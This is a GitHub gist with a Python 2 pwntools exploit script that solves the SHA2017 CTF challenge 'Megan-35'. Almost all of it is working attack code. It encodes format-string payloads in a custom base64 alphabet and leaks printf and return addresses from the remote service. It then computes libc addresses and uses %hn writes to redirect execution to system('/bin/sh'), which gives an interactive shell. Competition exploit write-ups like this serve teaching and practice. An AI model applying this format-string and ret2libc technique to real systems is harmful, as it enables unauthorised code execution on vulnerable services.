Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Writeup for CTF challenge: https://b0tchsec.com/2017/sha2017/megan-35
#!/usr/bin/env python2
import base64
from pwn import *
HOST='megan35.stillhackinganyway.nl'
PORT='3535'
REMOTE=True
DEBUG=False
FNAME='./megan-35'
#########################################################################################
# Megan-35 implementation from: https://gist.github.com/tunelko/49b7e64c1688d62d0ecd
megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
class B64weird_encodings:
def __init__(self, translation):
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
self.srch = dict(zip(b, translation))
self.revlsrch = dict(zip(translation, b))
def encode(self, pt):
global srch
b64 = base64.b64encode(pt)
r = "".join([self.srch[x] for x in b64])
return r
def encode(variant, pt):
encoder = B64weird_encodings(variant)
return encoder.encode(pt)
#########################################################################################
def getp():
p = None
if REMOTE:
p = remote(HOST,PORT)
elif DEBUG:
p = process(['gdbserver', 'localhost:4200', FNAME])
else:
p = process([FNAME])
p.recvuntil('encryption.\n')
return p
def dump_addrs(stop_at_str):
for i in range(0,500):
p = getp()
payload = ''
payload += 'AAAA%'
payload += str(i)
payload += '$x'
cipher = encode(megan35, payload)
p.sendline(cipher)
ret = p.recvall()
print(ret)
if stop_at_str in ret:
print(i)
print('Found it!')
return i
def get_retn_addr():
p = getp()
payload = ''
payload += 'AAAA%96$x'
cipher = encode(megan35, payload)
p.sendline(cipher)
ret = p.recvall()
ret = ret.replace('AAAA','')
return u32(ret.decode('hex')[::-1])+0xc
def get_printf_addr():
p = getp()
payload = ''
payload += 'AAAA%46$x'
cipher = encode(megan35, payload)
p.sendline(cipher)
ret = p.recvall()
ret = ret.replace('AAAA','')
return u32(ret.decode('hex')[::-1])+0x35D3B
def find_arg_offset():
for i in range(0,500):
p = getp()
payload = ''
payload += 'AAAA%'
payload += str(i)
payload += '$x'
cipher = encode(megan35, payload)
p.sendline(cipher)
ret = p.recvall()
print(ret)
if '41414141' in ret:
print(i)
print('Found it!')
return i
# Find the arg offset == 71
#find_arg_offset()
# looking for something close to retn addr (arg 80)
#dump_addrs('ffffd2c')
# looking for something close to libc addr
#dump_addrs('f7e')
# Leak the printf addr so that we can calculate the libc base address
printf_addr = get_printf_addr()
print('printf== 0x%x' % printf_addr)
# Leak the return address
retn_addr = get_retn_addr()
print('0x%x' % retn_addr)
# Calculate libc addresses
libc = ELF('./libc.so.6')
libc.address = printf_addr - libc.symbols['printf']
addr_system = libc.symbols['system']
addr_binsh = next(libc.search('/bin/sh\x00'))
# Split the libc addresses into halfs (2 bytes) and sort from least to greatest
# Also create a dictionary mapping libc addresses to their desired destination on the stack
addrs = []
addr_dict = {}
addrs.append(addr_system >> 16)
addr_dict[addr_system >> 16] = retn_addr+2
addrs.append(addr_system & 0x0000ffff)
addr_dict[addr_system & 0x0000ffff] = retn_addr
addrs.append(addr_binsh >> 16)
addr_dict[addr_binsh >> 16] = retn_addr+8+2
addrs.append(addr_binsh & 0x0000ffff)
addr_dict[addr_binsh & 0x0000ffff] = retn_addr+8
addrs.sort()
# Build the exploit
p = getp()
fmt = ''
fmt += p32(addr_dict[addrs[0]])
fmt += p32(addr_dict[addrs[1]])
fmt += p32(addr_dict[addrs[2]])
fmt += p32(addr_dict[addrs[3]])
fmt += '%' + str((addrs[0]-(16))) + 'x%71$hn'
fmt += '%' + str((addrs[1]-addrs[0])) + 'x%72$hn'
fmt += '%' + str((addrs[2]-addrs[1])) + 'x%73$hn'
fmt += '%' + str((addrs[3]-addrs[2])) + 'x%74$hn'
# Execute the exploit
payload = encode(megan35, fmt)
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment